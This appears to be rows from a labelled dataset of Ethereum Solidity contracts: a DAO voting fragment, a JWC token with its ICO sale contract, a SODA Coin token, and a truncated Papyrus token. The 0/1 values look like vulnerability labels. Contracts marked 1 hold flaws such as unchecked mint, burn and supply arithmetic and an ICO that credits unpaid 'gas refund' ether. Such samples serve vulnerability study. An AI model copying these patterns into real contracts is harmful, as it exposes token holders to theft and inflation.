(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
contract SchemeRegistrar is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewSchemeProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string _descriptionHash
);
event RemoveSchemeProposal(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _scheme,
string _descriptionHash
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct SchemeProposal {
address scheme;
bool addScheme;
bytes32 parametersHash;
bytes4 permissions;
}
mapping(address=>mapping(bytes32=>SchemeProposal)) public organizationsProposals;
struct Parameters {
bytes32 voteRegisterParams;
bytes32 voteRemoveParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
SchemeProposal memory proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.scheme != address(0));
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
if (_param == 1) {
ControllerInterface controller = ControllerInterface(avatar.owner());
if (proposal.addScheme) {
require(controller.registerScheme(
proposal.scheme,
proposal.parametersHash,
proposal.permissions,
address(avatar))
);
}
if (!proposal.addScheme) {
require(controller.unregisterScheme(proposal.scheme, address(avatar)));
}
}
emit ProposalExecuted(address(avatar), _proposalId, _param);
return true;
}
function setParameters(
bytes32 _voteRegisterParams,
bytes32 _voteRemoveParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteRegisterParams, _voteRemoveParams, _intVote);
parameters[paramsHash].voteRegisterParams = _voteRegisterParams;
parameters[paramsHash].voteRemoveParams = _voteRemoveParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteRegisterParams,
bytes32 _voteRemoveParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return keccak256(abi.encodePacked(_voteRegisterParams, _voteRemoveParams, _intVote));
}
function proposeScheme(
Avatar _avatar,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string memory _descriptionHash
)
public
returns(bytes32)
{
require(_scheme != address(0), "scheme cannot be zero");
Parameters memory controllerParams = parameters[getParametersFromController(_avatar)];
bytes32 proposalId = controllerParams.intVote.propose(
2,
controllerParams.voteRegisterParams,
msg.sender,
address(_avatar)
);
SchemeProposal memory proposal = SchemeProposal({
scheme: _scheme,
parametersHash: _parametersHash,
addScheme: true,
permissions: _permissions
});
emit NewSchemeProposal(
address(_avatar),
proposalId,
address(controllerParams.intVote),
_scheme, _parametersHash,
_permissions,
_descriptionHash
);
organizationsProposals[address(_avatar)][proposalId] = proposal;
proposalsInfo[address(controllerParams.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
function proposeToRemoveScheme(Avatar _avatar, address _scheme, string memory _descriptionHash)
public
returns(bytes32)
{
require(_scheme != address(0), "scheme cannot be zero");
bytes32 paramsHash = getParametersFromController(_avatar);
Parameters memory params = parameters[paramsHash];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(2, params.voteRemoveParams, msg.sender, address(_avatar));
organizationsProposals[address(_avatar)][proposalId].scheme = _scheme;
emit RemoveSchemeProposal(address(_avatar), proposalId, address(intVote), _scheme, _descriptionHash);
proposalsInfo[address(params.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
return proposalId;
}
} | 0 | 1,603 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract ERC20BasicToken is Pausable{
uint256 public totalSupply;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
function _transfer(address _from, address _to, uint _value) whenNotPaused internal {
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused onlyPayloadSize(2 * 32) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) whenNotPaused onlyPayloadSize(2 * 32) public {
_transfer(msg.sender, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balances[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balances[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowance[_owner][_spender];
}
}
contract JWCToken is ERC20BasicToken {
using SafeMath for uint256;
string public constant name = "JWC Blockchain Ventures";
string public constant symbol = "JWC";
uint256 public constant decimals = 18;
string public constant version = "1.0";
uint256 public constant tokenPreSale = 100000000 * 10**decimals;
uint256 public constant tokenPublicSale = 400000000 * 10**decimals;
uint256 public constant tokenReserve = 300000000 * 10**decimals;
uint256 public constant tokenTeamSupporter = 120000000 * 10**decimals;
uint256 public constant tokenAdvisorPartners = 80000000 * 10**decimals;
address public icoContract;
function JWCToken() public {
totalSupply = tokenPreSale + tokenPublicSale + tokenReserve + tokenTeamSupporter + tokenAdvisorPartners;
}
function setIcoContract(address _icoContract) public onlyOwner {
if (_icoContract != address(0)) {
icoContract = _icoContract;
}
}
function sell(address _recipient, uint256 _value) public whenNotPaused returns (bool success) {
assert(_value > 0);
require(msg.sender == icoContract);
balances[_recipient] = balances[_recipient].add(_value);
Transfer(0x0, _recipient, _value);
return true;
}
function payBonusAffiliate(address _recipient, uint256 _value) public returns (bool success) {
assert(_value > 0);
require(msg.sender == icoContract);
balances[_recipient] = balances[_recipient].add(_value);
totalSupply = totalSupply.add(_value);
Transfer(0x0, _recipient, _value);
return true;
}
}
contract IcoPhase {
uint256 public constant phasePresale_From = 1516456800;
uint256 public constant phasePresale_To = 1517839200;
uint256 public constant phasePublicSale1_From = 1519912800;
uint256 public constant phasePublicSale1_To = 1520344800;
uint256 public constant phasePublicSale2_From = 1520344800;
uint256 public constant phasePublicSale2_To = 1520776800;
uint256 public constant phasePublicSale3_From = 1520776800;
uint256 public constant phasePublicSale3_To = 1521208800;
}
contract Bonus is IcoPhase, Ownable {
using SafeMath for uint256;
uint256 constant decimals = 18;
bool public isBonus;
uint256 public maxTimeBonus = 225000000*10**decimals;
uint256 public maxAmountBonus = 125000000*10**decimals;
mapping(address => uint256) public bonusAccountBalances;
mapping(uint256 => address) public bonusAccountIndex;
uint256 public bonusAccountCount;
uint256 public indexPaidBonus;
function Bonus() public {
isBonus = true;
}
function enableBonus() public onlyOwner returns (bool)
{
require(!isBonus);
isBonus=true;
return true;
}
function disableBonus() public onlyOwner returns (bool)
{
require(isBonus);
isBonus=false;
return true;
}
function getTimeBonus() public constant returns(uint256) {
uint256 bonus = 0;
if(now>=phasePresale_From && now<phasePresale_To){
bonus = 40;
} else if (now>=phasePublicSale1_From && now<phasePublicSale1_To) {
bonus = 20;
} else if (now>=phasePublicSale2_From && now<phasePublicSale2_To) {
bonus = 10;
} else if (now>=phasePublicSale3_From && now<phasePublicSale3_To) {
bonus = 5;
}
return bonus;
}
function getBonusByETH(uint256 _value) public pure returns(uint256) {
uint256 bonus = 0;
if(_value>=1500*10**decimals){
bonus=_value.mul(25)/100;
} else if(_value>=300*10**decimals){
bonus=_value.mul(20)/100;
} else if(_value>=150*10**decimals){
bonus=_value.mul(15)/100;
} else if(_value>=30*10**decimals){
bonus=_value.mul(10)/100;
} else if(_value>=15*10**decimals){
bonus=_value.mul(5)/100;
}
return bonus;
}
function balanceBonusOf(address _owner) public constant returns (uint256 balance)
{
return bonusAccountBalances[_owner];
}
function payBonus() public onlyOwner returns (bool success);
}
contract Affiliate is Ownable {
bool public isAffiliate;
uint256 public affiliateLevel = 1;
mapping(uint256 => uint256) public affiliateRate;
mapping(address => uint256) public referralBalance;
mapping(address => address) public referral;
mapping(uint256 => address) public referralIndex;
uint256 public referralCount;
uint256 public indexPaidAffiliate;
uint256 public maxAffiliate = 100000000*(10**18);
modifier whenAffiliate() {
require (isAffiliate);
_;
}
function Affiliate() public {
isAffiliate=true;
affiliateLevel=1;
affiliateRate[0]=10;
}
function enableAffiliate() public onlyOwner returns (bool) {
require (!isAffiliate);
isAffiliate=true;
return true;
}
function disableAffiliate() public onlyOwner returns (bool) {
require (isAffiliate);
isAffiliate=false;
return true;
}
function getAffiliateLevel() public constant returns(uint256)
{
return affiliateLevel;
}
function setAffiliateLevel(uint256 _level) public onlyOwner whenAffiliate returns(bool)
{
affiliateLevel=_level;
return true;
}
function getReferrerAddress(address _referee) public constant returns (address)
{
return referral[_referee];
}
function getRefereeAddress(address _referrer) public constant returns (address[] _referee)
{
address[] memory refereeTemp = new address[](referralCount);
uint count = 0;
uint i;
for (i=0; i<referralCount; i++){
if(referral[referralIndex[i]] == _referrer){
refereeTemp[count] = referralIndex[i];
count += 1;
}
}
_referee = new address[](count);
for (i=0; i<count; i++)
_referee[i] = refereeTemp[i];
}
function setReferralAddress(address _parent, address _child) public onlyOwner whenAffiliate returns (bool)
{
require(_parent != address(0x00));
require(_child != address(0x00));
referralIndex[referralCount]=_child;
referral[_child]=_parent;
referralCount++;
referralBalance[_child]=0;
return true;
}
function getAffiliateRate(uint256 _level) public constant returns (uint256 rate)
{
return affiliateRate[_level];
}
function setAffiliateRate(uint256 _level, uint256 _rate) public onlyOwner whenAffiliate returns (bool)
{
affiliateRate[_level]=_rate;
return true;
}
function balanceAffiliateOf(address _referee) public constant returns (uint256)
{
return referralBalance[_referee];
}
function payAffiliate() public onlyOwner returns (bool success);
}
contract IcoContract is IcoPhase, Ownable, Pausable, Affiliate, Bonus {
using SafeMath for uint256;
JWCToken ccc;
uint256 public totalTokenSale;
uint256 public minContribution = 0.1 ether;
uint256 public tokenExchangeRate = 7000;
uint256 public constant decimals = 18;
uint256 public tokenRemainPreSale;
uint256 public tokenRemainPublicSale;
address public ethFundDeposit = 0x8780eCF6DB001B223aE48372f4045097e1a11aA9;
address public tokenAddress;
bool public isFinalized;
uint256 public maxGasRefund = 0.0046 ether;
function IcoContract(address _tokenAddress) public {
tokenAddress = _tokenAddress;
ccc = JWCToken(tokenAddress);
totalTokenSale = ccc.tokenPreSale() + ccc.tokenPublicSale();
tokenRemainPreSale = ccc.tokenPreSale();
tokenRemainPublicSale = ccc.tokenPublicSale();
isFinalized=false;
}
function changeETH2Token(uint256 _value) public constant returns(uint256) {
uint256 etherRecev = _value + maxGasRefund;
require (etherRecev >= minContribution);
uint256 rate = getTokenExchangeRate();
uint256 tokens = etherRecev.mul(rate);
uint256 phaseICO = getCurrentICOPhase();
uint256 tokenRemain = 0;
if(phaseICO == 1){
tokenRemain = tokenRemainPreSale;
} else if (phaseICO == 2 || phaseICO == 3 || phaseICO == 4) {
tokenRemain = tokenRemainPublicSale;
}
if (tokenRemain < tokens) {
tokens=tokenRemain;
}
return tokens;
}
function () public payable whenNotPaused {
require (!isFinalized);
require (msg.sender != address(0));
uint256 etherRecev = msg.value + maxGasRefund;
require (etherRecev >= minContribution);
tokenExchangeRate = getTokenExchangeRate();
uint256 tokens = etherRecev.mul(tokenExchangeRate);
uint256 phaseICO = getCurrentICOPhase();
require(phaseICO!=0);
uint256 tokenRemain = 0;
if(phaseICO == 1){
tokenRemain = tokenRemainPreSale;
} else if (phaseICO == 2 || phaseICO == 3 || phaseICO == 4) {
tokenRemain = tokenRemainPublicSale;
}
require(tokenRemain>0);
if (tokenRemain < tokens) {
uint256 tokensToRefund = tokens.sub(tokenRemain);
uint256 etherToRefund = tokensToRefund / tokenExchangeRate;
msg.sender.transfer(etherToRefund);
tokens=tokenRemain;
etherRecev = etherRecev.sub(etherToRefund);
tokenRemain = 0;
} else {
tokenRemain = tokenRemain.sub(tokens);
}
if(phaseICO == 1){
tokenRemainPreSale = tokenRemain;
} else if (phaseICO == 2 || phaseICO == 3 || phaseICO == 4) {
tokenRemainPublicSale = tokenRemain;
}
ccc.sell(msg.sender, tokens);
ethFundDeposit.transfer(this.balance);
if(isBonus){
uint256 bonusAmountETH = getBonusByETH(etherRecev);
uint256 bonusAmountTokens = bonusAmountETH.mul(tokenExchangeRate);
if(maxAmountBonus>0){
if(maxAmountBonus>=bonusAmountTokens){
maxAmountBonus-=bonusAmountTokens;
} else {
bonusAmountTokens = maxAmountBonus;
maxAmountBonus = 0;
}
} else {
bonusAmountTokens = 0;
}
uint256 bonusTimeToken = tokens.mul(getTimeBonus())/100;
if(maxTimeBonus>0){
if(maxTimeBonus>=bonusTimeToken){
maxTimeBonus-=bonusTimeToken;
} else {
bonusTimeToken = maxTimeBonus;
maxTimeBonus = 0;
}
} else {
bonusTimeToken = 0;
}
if(bonusAccountBalances[msg.sender]==0){
bonusAccountIndex[bonusAccountCount]=msg.sender;
bonusAccountCount++;
}
uint256 bonusTokens=bonusAmountTokens + bonusTimeToken;
bonusAccountBalances[msg.sender]=bonusAccountBalances[msg.sender].add(bonusTokens);
}
if(isAffiliate){
address child=msg.sender;
for(uint256 i=0; i<affiliateLevel; i++){
uint256 giftToken=affiliateRate[i].mul(tokens)/100;
if(maxAffiliate<=0){
break;
} else {
if(maxAffiliate>=giftToken){
maxAffiliate-=giftToken;
} else {
giftToken = maxAffiliate;
maxAffiliate = 0;
}
}
address parent = referral[child];
if(parent != address(0x00)){
referralBalance[child]=referralBalance[child].add(giftToken);
}
child=parent;
}
}
}
function payAffiliate() public onlyOwner returns (bool success) {
uint256 toIndex = indexPaidAffiliate + 15;
if(referralCount < toIndex)
toIndex = referralCount;
for(uint256 i=indexPaidAffiliate; i<toIndex; i++) {
address referee = referralIndex[i];
payAffiliate1Address(referee);
}
return true;
}
function payAffiliate1Address(address _referee) public onlyOwner returns (bool success) {
address referrer = referral[_referee];
ccc.payBonusAffiliate(referrer, referralBalance[_referee]);
referralBalance[_referee]=0;
return true;
}
function payBonus() public onlyOwner returns (bool success) {
uint256 toIndex = indexPaidBonus + 15;
if(bonusAccountCount < toIndex)
toIndex = bonusAccountCount;
for(uint256 i=indexPaidBonus; i<toIndex; i++)
{
payBonus1Address(bonusAccountIndex[i]);
}
return true;
}
function payBonus1Address(address _address) public onlyOwner returns (bool success) {
ccc.payBonusAffiliate(_address, bonusAccountBalances[_address]);
bonusAccountBalances[_address]=0;
return true;
}
function finalize() external onlyOwner {
require (!isFinalized);
isFinalized = true;
payAffiliate();
payBonus();
ethFundDeposit.transfer(this.balance);
}
function getTokenExchangeRate() public constant returns(uint256 rate) {
rate = tokenExchangeRate;
if(now<phasePresale_To){
if(now>=phasePresale_From)
rate = 10000;
} else if(now<phasePublicSale3_To){
rate = 7000;
}
}
function getCurrentICOPhase() public constant returns(uint256 phase) {
phase = 0;
if(now>=phasePresale_From && now<phasePresale_To){
phase = 1;
} else if (now>=phasePublicSale1_From && now<phasePublicSale1_To) {
phase = 2;
} else if (now>=phasePublicSale2_From && now<phasePublicSale2_To) {
phase = 3;
} else if (now>=phasePublicSale3_From && now<phasePublicSale3_To) {
phase = 4;
}
}
function getTokenSold() public constant returns(uint256 tokenSold) {
uint256 phaseICO = getCurrentICOPhase();
tokenSold = 0;
if(phaseICO == 1){
tokenSold = ccc.tokenPreSale().sub(tokenRemainPreSale);
} else if (phaseICO == 2 || phaseICO == 3 || phaseICO == 4) {
tokenSold = ccc.tokenPreSale().sub(tokenRemainPreSale) + ccc.tokenPublicSale().sub(tokenRemainPublicSale);
}
}
function setTokenExchangeRate(uint256 _tokenExchangeRate) public onlyOwner returns (bool) {
require(_tokenExchangeRate>0);
tokenExchangeRate=_tokenExchangeRate;
return true;
}
function setMinContribution(uint256 _minContribution) public onlyOwner returns (bool) {
require(_minContribution>0);
minContribution=_minContribution;
return true;
}
function setEthFundDeposit(address _ethFundDeposit) public onlyOwner returns (bool) {
require(_ethFundDeposit != address(0));
ethFundDeposit=_ethFundDeposit;
return true;
}
function setMaxGasRefund(uint256 _maxGasRefund) public onlyOwner returns (bool) {
require(_maxGasRefund > 0);
maxGasRefund = _maxGasRefund;
return true;
}
} | 1 | 3,283 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SodaCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "SOC";
name = "SODA Coin";
decimals = 18;
_totalSupply = 2000000000000000000000000000;
balances[0xC713b7c600Bb0e70c2d4b466b923Cab1E45e7c76] = _totalSupply;
emit Transfer(address(0), 0xC713b7c600Bb0e70c2d4b466b923Cab1E45e7c76, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function totalSupplyIncrease(uint256 _supply) public onlyOwner{
_totalSupply = _totalSupply + _supply;
balances[msg.sender] = balances[msg.sender] + _supply;
}
} | 1 | 3,596 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function balanceOf(address _owner) public constant returns (uint256);
function allowance(address _owner, address _spender) public constant returns (uint256);
uint256 public totalSupply;
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowances[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowances[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
}
contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address public owner;
}
contract PapyrusPrototypeToken is StandardToken, Ownable {
